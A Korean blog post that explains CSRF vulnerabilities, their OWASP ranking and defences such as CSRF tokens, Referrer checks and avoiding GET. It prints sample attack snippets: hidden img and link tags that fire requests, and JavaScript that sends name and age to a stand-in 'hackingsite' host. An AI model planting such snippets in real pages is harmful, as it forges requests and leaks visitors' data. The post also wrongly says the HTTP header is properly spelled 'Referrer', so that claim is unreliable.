본문 바로가기
정보보안/Web Hacking

CSRF 취약점에 대한 간단한 설명과 그 예시 - CSRF Token, OWASP 10, Referrer

by 우동이 2022. 9. 3.
300x250

CSRF 취약점의 정의

CSRF(Cross Site Request Forgery) 취약점이란

임의의 사용자 권한으로 임의의 주소에 HTTP 요청을 하는 취약점입니다.

정확히 얘기하면 HTTP 요청에 필요한 서명을 위조, 변조하는 공격이며

웹 서비스 이용자를 속여 의도치 않은 요청에 동의하도록 하는 공격입니다.

 

세부적인 예시로는 해커가 만든 웹 사이트를 정규 웹 사이트로 속여 접속을 유도하는 것도

CSRF 취약점에 해당한다고 볼 수 있습니다.

<교차 사이트 요청 위조>라는 명칭에 해당하는 모든 취약점이 해당합니다.


CSRF 취약점의 위험도

2017년도 이전 OWASP Top 순위에는 CSRF도 10순위 내에 드는 취약점이었습니다.

owasp top ten 10 - 2013

2013년도 8순위의 위험도에 책정되어있습니다.

다만 17년도를 지나 가장 최근 발행된 OWASP 10순위에서 CSRF 취약점은 밀려났습니다.

하지만 이게 CSRF 취약점에 대한 모든 방지책이 생겨났다던가 더 이상은 위험한 취약점이 아니라는 뜻은 아닙니다.

이는 기업의 환경과 구성된 정보보호 요소들의 변화 그리고 정보보호 트렌드의 변화로 인한 결과입니다.

 

예시로 2021년에 1순위에 기재된 "Broken Access Control" 취약점은 "접근 권한 취약점"으로

액세스 제어가 취약한 사용자가 주어진 권한을 벗어나 데이터를 무단으로 열람, 수정, 삭제 등의 행위로 이어지는 취약점입니다.


CSRF 취약점의 발생원인

CSRF 취약점이 발생하기 위해서는 공격자가 작성한 악성 스크립트를 서비스 이용자가 실행해야 합니다.

 

악성 공격코드 예시_HTML

<img src='http://bank.com/hackinf?tel=010-3333-3333&addr=seoul' width=0px height=0px>
<img src="link">
<img src=1 onerror="fetch('/link');">
<link rel="stylesheet" href="link">

위에 작성된 코드들은 CSRF 취약점에 대한 대비가 되어있지 않은 웹 서비스에서 공격코드로 사용될 수 있는 HTML 태그로 구성된 공격코드입니다.

<img> 태그는 src(경로 속성)을 통해 자신이 원하는 경로로 이동할 수 있으며

HTTP 요청을 변조할 수 있습니다.

이는 또한 <link> 태그를 통해서도 가능합니다.

 

악성 공격코드 예시_JavaScript

/*새 창 띄우기 */
window.open('http://hackingsite/privateinf?age=20&name=Kim');
/* 현재 창 주소 옮기기 */
location.href = 'http://hackingsite/privateinf?age=20&name=Kim';
location.replace('http://hackingsite/privateinf?age=20&name=Kim');

웹 서비스를 구성하는 언어는 주로 HTML과 JavaScript가 대다수입니다.

위에서 그러했듯 JavaScript를 통한 공격코드도 작성이 가능합니다.

window.open() 메서드는 새 창에서 사이트를 여는 메서드이며

location.href() 메서드는 지정한 경로로 사이트를 이동하는 메서드입니다.

또한 location.replace() 메서

드는 href()와 비슷하나 차이점이 존재합니다.

기존 페이지를 새로운 페이지로 변경시킵니다.(replace)

즉 사용자는 공격코드가 삽입된 URL을 통해 변조된 HTTP 요청을 하게 되고 결국 해킹에 의한 피해를 입게 됩니다.


CSRF 취약점 방지법

  • csrf 토큰 삽입
  • referrer 검증(referer이 아닌 referrer이 맞는 철자라고 합니다.)
  • GET 방식 사용 금지
  • 사용하는 프레임워크 자체에 CSRF 보호 기능이 존재하는지 여부 체크

OWASP에서 제안하는 CSRF 취약저 방지법으로는 크게 위 4가지 정도가 있습니다.


hidden 속성을 이용한 CSRF 토큰

<form action="/transfer.do" method="post">
<input type="hidden" name="CSRFToken" value="OWY4NmQwODE4ODRjN2Q2NTlhMmZlYWEwYzU1YWQwMTVhM2JmNGYxYjJiMGI4MjJjZDE1ZDZMGYwMGEwOA==">
[...]
</form>

가장 기본적인 형태의 hidden 필드를 이용한 CSRF 토큰 형태입니다.

OWASP에서 밝히길 JavaScript를 통해 사용자 정의 HTTP 요청 헤더에 CSRF 토큰을 삽입하는 것은

사용자 정의 요청 헤더를 사용하기 때문에

위에 작성된 숨겨진 필드 양식 매개변수에 토큰을 추가하는 것보다 더 안전한 것으로 간주된다고 합니다.


Referrer 검증

리퍼러는 Referer이 아닌 Referrer이 맞는 표기라고 합니다. 다들 referer라고 적어놨길래..

아무튼 Referrer는 HTTP 요청의 헤더 필드의 이름입니다.

리퍼러는 서버가 참조하는 영역인데 현재 표시하는 웹 페이지가 어떤 웹에서 요청되었는지나

방문자에 대한 정보 파악이 가능한 헤더 값입니다.

예시로 구글에서 키워드를 검색 후 document.referrer로 확인해보면 https://www.google.com/ 이런 식으로

방문자의 정보를 확인할 수 있습니다.


GET 방식 사용 자제

get 방식의 HTTP 사용법을 자제하는 이유는 CSRF 취약점이 사이트 내의 URL 자체를

위조해 바로 요청하는 방법이 가능하기 때문에 데이터를 GET 방식으로 사용하지 않아야 합니다.

 


이상 CSRF 취약점에 대해 간단히 알아보았습니다.

감사합니다.


-참고-

 

 

Cross-Site Request Forgery Prevention - OWASP Cheat Sheet Series

Cross-Site Request Forgery Prevention Cheat Sheet Introduction Cross-Site Request Forgery (CSRF) is a type of attack that occurs when a malicious web site, email, blog, instant message, or program causes a user's web browser to perform an unwanted action

cheatsheetseries.owasp.org

 

 

Cross Site Request Forgery (CSRF) | OWASP Foundation

Cross Site Request Forgery (CSRF) on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.

owasp.org

 

300x250

댓글